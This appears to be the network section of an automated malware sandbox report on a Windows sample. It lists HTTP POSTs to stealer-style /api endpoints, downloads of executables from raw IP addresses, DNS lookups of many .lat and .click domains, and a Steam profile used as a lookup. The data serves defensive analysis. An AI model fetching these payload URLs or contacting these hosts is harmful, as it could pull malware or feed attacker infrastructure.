Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QG66C8AHH5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20530Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0US2JBKUO9UZWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1284Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=T8OXZACYOVRSYBPP4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587238Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 81Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fannleadyn.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 76Host: fannleadyn.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=14OAJLYZ3NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12794Host: fannleadyn.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XSC62WCM6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15006Host: fannleadyn.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SM1WXJY2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20516Host: fannleadyn.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8KJBEBFJ3NZJTNKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7119Host: fannleadyn.click

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 4_2_0053BD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

4_2_0053BD60

Source: global traffic	HTTP traffic detected: GET /mynewworkspace123312/scnd/downloads/SurveillanceWalls.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/a48cbcec-690c-4ba4-bce5-5d88c4e065f6/SurveillanceWalls.exe?response-content-disposition=attachment%3B%20filename%3D%22SurveillanceWalls.exe%22&AWSAccessKeyId=ASIA6KOSE3BNELRNVGE3&Signature=iyRGzMyHs06SWjlbNXBDydncP%2BQ%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBEaCXVzLWVhc3QtMSJIMEYCIQDkZNjHObbDjoy6%2FzItPxmQvGTF5W3yOaJjN%2Fp4tdZbxgIhAIpXLdYJb7deLarjJkvEsBQMzp5weu%2BXJMuHbHN8BKszKrACCNn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMOTg0NTI1MTAxMTQ2IgyBBIH%2FwpHyAULlqB0qhAJGL2VB0CUfo17n5NstDiWun3PNMK%2BaOZQCOpoIsopxMjV89xysguwduKcJkW1UujRj41AqoSkfgeQon5d2uShSr9mAGgVVBVYWoWodUc3OSHAgV5K%2BPBVj5XfgRTo9YeP3X8N9IH5KPhUsxpjB61mEL4L0wzQwrziaOaHnGY%2F1kfsMm%2FoLuyRLFtLuM7TgeD%2F4VC1XkcmCS3sHaeTy5zBB2fxNycsJYOlgx6XgVCeF2GG9ExTC%2FNlJ3IqYfAk1JXGVG5eemRQ34w7LRmbgj79FTTN9wGdUQr5jynh8Td38GdcrMh%2BxZ3%2FEaxKo9Z9gX3%2Fh6gLvlUSFIG757U6k98e4aIPW4zDbmKa7BjqcAW4QjVS79LQ%2BP%2FCuwVIM1P2PERlJY3q3SMAKLqd8gb31d2wDWRcO9oEIilGkxLBZMQFwJaMlqkBwoMUGEK%2F51s5YP%2FzcOAINpXb1LFMAVGT6K3jQG4JoWaeM9sOZvE2Vfmtin6cTpXtGLxcrh82ZwEZgrK9%2Fw%2FI5KHo3mYA1nqkJ%2BWcpD2LxMkDx7zrgKA6ddm1AJh4f%2Fa44coWsgA%3D%3D&Expires=1734972259 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /inc/legs.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/am209.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /inc/goldddd123.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /inc/daw21.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /Fru7Nk9/Plugins/clip64.dll HTTP/1.1Host: 185.215.113.209
Source: global traffic	HTTP traffic detected: GET /files/623678601/I0XmI2t.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/5195048147/mdjw5me.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/Krokodyl02/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=VtrxllPIxXwrGYCx1734970701 HTTP/1.1Host: home.twentytk20ht.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Mon, 23 Dec 2024 15:43:39 GMTIf-None-Match: "6769852b-446000"
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/client.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: necklacebudi.lat
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: sustainskelet.lat
Source: global traffic	DNS traffic detected: DNS query: crosshuaht.lat
Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com
Source: global traffic	DNS traffic detected: DNS query: wcCUGXykADNzZuDCbIFIvizjQpm.wcCUGXykADNzZuDCbIFIvizjQpm
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20ht.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: fannleadyn.click
Source: global traffic	DNS traffic detected: DNS query: twentytk20ht.top
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click

Source: ba327bb7fd.exe, 0000002C.00000003.3759673627.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3565791326.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3844130984.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3723694059.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3641905979.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3687806338.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/
Source: ba327bb7fd.exe, 0000002A.00000003.3843606989.0000000005578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/2
Source: ba327bb7fd.exe, 0000002A.00000003.3843606989.0000000005578000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002A.00000003.3721931086.0000000005578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/E
